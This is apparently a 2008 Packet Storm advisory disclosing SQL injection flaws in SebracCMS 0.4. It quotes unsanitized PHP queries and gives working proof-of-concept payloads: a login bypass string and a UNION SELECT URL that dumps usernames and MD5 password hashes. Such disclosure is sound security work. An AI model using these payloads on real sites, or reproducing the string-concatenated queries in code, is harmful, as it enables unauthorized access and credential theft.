what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sebraccms-sql.txt

sebraccms-sql.txt
Posted Jun 29, 2008
Authored by shinmai

SebracCMS versions 0.4 and below suffer from multiple SQL injection vulnerabilities.

tags | exploit, vulnerability, sql injection
SHA-256 | b21f4200afb6a68c6b376e75a9609383c1ca552d21f6bb20a211c40728ec186e

sebraccms-sql.txt

Change Mirror Download
# Name: SebracCMS
# Webiste: http://www.sebrac.netsons.org/cms/
# Vulnerability type: SQL Injection
# Author:
# shinmai, 2008-06-28
######################################################################################
# Description:
#
# SebracCMS contains two major SQL injection vulnerabilities:
# Unsanitazed POST-variables in SQL queries when logging users in. This allows
# login access without proper credentials.
# And unsanitized GET-variables in SQL queries when loading articles.
This allows
# an attacker to read all usernames and passwordhashes in the database.
#
# Vulnerable code in cms/index.php:

$n=$_POST['uname'];
$p= strtolower($_POST['upass']);
$cryp_p = md5($p);
//connect to db
include('incls/config.php');
$query="select * from sbc_user where uname='$n' and pw='$cryp_p'";

#
# POC
#
# using
admin' OR '1'='1
# as the username will allow login without proper registered credentials
#
#
# The second and far more serious SQL Injection is in cms/form/read.php
#
# This vulnerability allows an attacker to reveal all users and their
md5-password hashes.
#
#
# Vulnerable code in cms/form/read.php:

$rec=($_GET['recid']);
*SNIP*
$query="Select * from sbc_articles where idart= '$rec'" or die(mysql_error());

#
# POC
#
# using
1' UNION ALL SELECT uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1
# as the GET-variable 'recid' reveals the first post along with all
registered users and their passwordhashes.
# Example:
http://localhost/sbcms/cms/form/read.php?recid=1' UNION ALL SELECT
uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1

#
# There are some other SQLI-vulnerabilities there, but these two are
the most severe. I was going to include
# one more for changing any users password, but I simply didn't have
the time to start crafting very complex
# injections. Also, I have a sneaking suspicion there's a
LFI-vulnerability in the photo-gallery code in the CMS,
# but if there is one, I'll write up an other advisory on that.
#
# As always, Good luck and be safe.
#


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close